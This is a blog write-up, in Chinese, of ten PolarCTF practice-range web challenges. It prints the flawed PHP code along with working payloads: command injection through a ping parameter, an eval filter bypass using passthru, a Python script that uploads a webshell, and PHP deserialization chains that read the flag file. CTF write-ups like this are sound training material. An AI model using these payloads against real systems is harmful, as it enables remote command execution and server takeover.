Web刷题之polarctf靶场(3)

1. 干正则

打开靶场发现是简单的php代码审计, 先构造id=a[0]=www.polarctf.com, 由于要ping两次, 所以先构造cmd=|ls
<?php
error_reporting(0);
if (empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else {
    include 'flag.php';
    $a = "www.baidu.com";
    $result = "";
    $id = $_GET['id'];
    @parse_str($id);
    echo $a[0];
    if ($a[0] == 'www.polarctf.com') {
        $ip = $_GET['cmd'];
        if (preg_match('/flag\.php/', $ip)) {
            die("don't show flag!!!");
        }

        $result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
        if ($result) {
            echo "<pre>{$result}</pre>";
        }
    } else {
        exit('其实很简单!');
    }
}

image

再由于正则匹配, 我们将cmd修改为cmd=|tac f*

image

#flag{e44882416c9fa79cc5a6a51e6e19cdbc}

2. cool

打开靶场, 发现是简单的php代码审计, 需要GET传一个参数a, 但是系统命令执行函数system()被禁止了, 这里我们用passthru()来替代, a=passthru('ls');
<?php
if(isset($_GET['a'])){
    $a = $_GET['a'];
    if(is_numeric($a)){
        echo "no";
    }
    if(!preg_match("/flag|system|php/i", $a)){
        eval($a);
    }
}else{
    highlight_file(__FILE__);
}
?>

image

由于flag字样也被禁止了, 我们用通识符来得到flag即a=passthru('tac f*');

image

#flag{4512esfgsdIirhgui82545er4g5e5rg4er1}

知识扩展(PHP中常见的命令执行函数和代码执行函数)

1. 命令执行函数
	system(), passthru(), exec(), pcntl_exec(), shell_exec(), popen()/proc_popen(), 反引号``
system()作用: 将字符串作为OS命令执行, 自带输出功能
passthru()作用: 将字符串作为OS命令执行,不需要输出执行结果,且输出全部的内容。
exec()作用: 将字符串作为OS命令执行,需要输出执行结果,且它只会输出最后一行的内容。
反引号的作用: [``]反引号里面的代码也会被当作OS命令来执行

2.代码执行函数
eval(),assert(),call_user_func(),create_function(),array_map(),call_user_func_array(),array_filter(),uasort(),preg_replace()

3. uploader

无任何过滤的文件上传, 直接编写脚本

image

#python
import requests

url = "http://0105ca15-ea17-4e7d-81f0-532138331d00.www.polarctf.com:8090/"
files = {'file': open('E:\桌面\webshell.php', 'rb')}

response = requests.post(url, files=files)

#如果状态码是200
if response.status_code == 200:
    print("Sucessfully")
    print(f"服务器返回信息: {response.text}")
else:
    print(f"状态码为: {response.status_code}")

image

拼接$sandBox和文件名(http://0105ca15-ea17-4e7d-81f0-532138331d00.www.polarctf.com:8090/149c0f3372e25adcc21feb96ea439698/webshell.php), 再用蚁剑连接即可

image

#flag{256d5ca173f463165db6ed366b597da8}

4. 覆盖

和第一题一样
#flag{e44882416c9fa79cc5a6a51e6e19cdbc}

5. PHP反序列化初试

一眼链子为 Easy->__wakeup()->Evil->__toString()

image

先构造ls文件:O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:2:"ls";s:9:"%20Evil%20env";N;}}

image

再去读取flag: O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:12:"tac f1@g.php";s:9:"%20Evil%20env";N;}}

image

#flag{08a46a069bd77e33531bb2ab244f4196}

6. 机器人

根据题目名称, 猜测存在/robots.txt, flag{4749ea1ea481a5d

image

发现有Disallow禁止目录收录, 猜测剩下一半flag在里面

image

#flag{4749ea1ea481a5d56685442c8516b61c}

7. 扫扫看

根据题目提示, 用dirsearch扫一下

image
image

#flag{094c9cc14068a7d18ccd0dd3606e532f}

8. debudao

打卡靶场F12查看源代码得到fake_flag

image

通过BurpSuite发包试试看看有什么回显

image

#flag{72077a55w312584wb1aaa88888cd41af}

9. 审计

直接搜索找到特殊值绕过即可

image
或者
image

#flag{1bc29b36f623ba82aaf6724fd3b16718}

10. upload1

可以看到过滤的后缀名

image
image

上传成功用蚁剑连接即可拿到flag
#flag{adbf5a778175ee757c34d0eba4e932bc}
posted @ 2024-10-14 19:22  Tlomlyiyi  阅读(13)  评论(0编辑  收藏  举报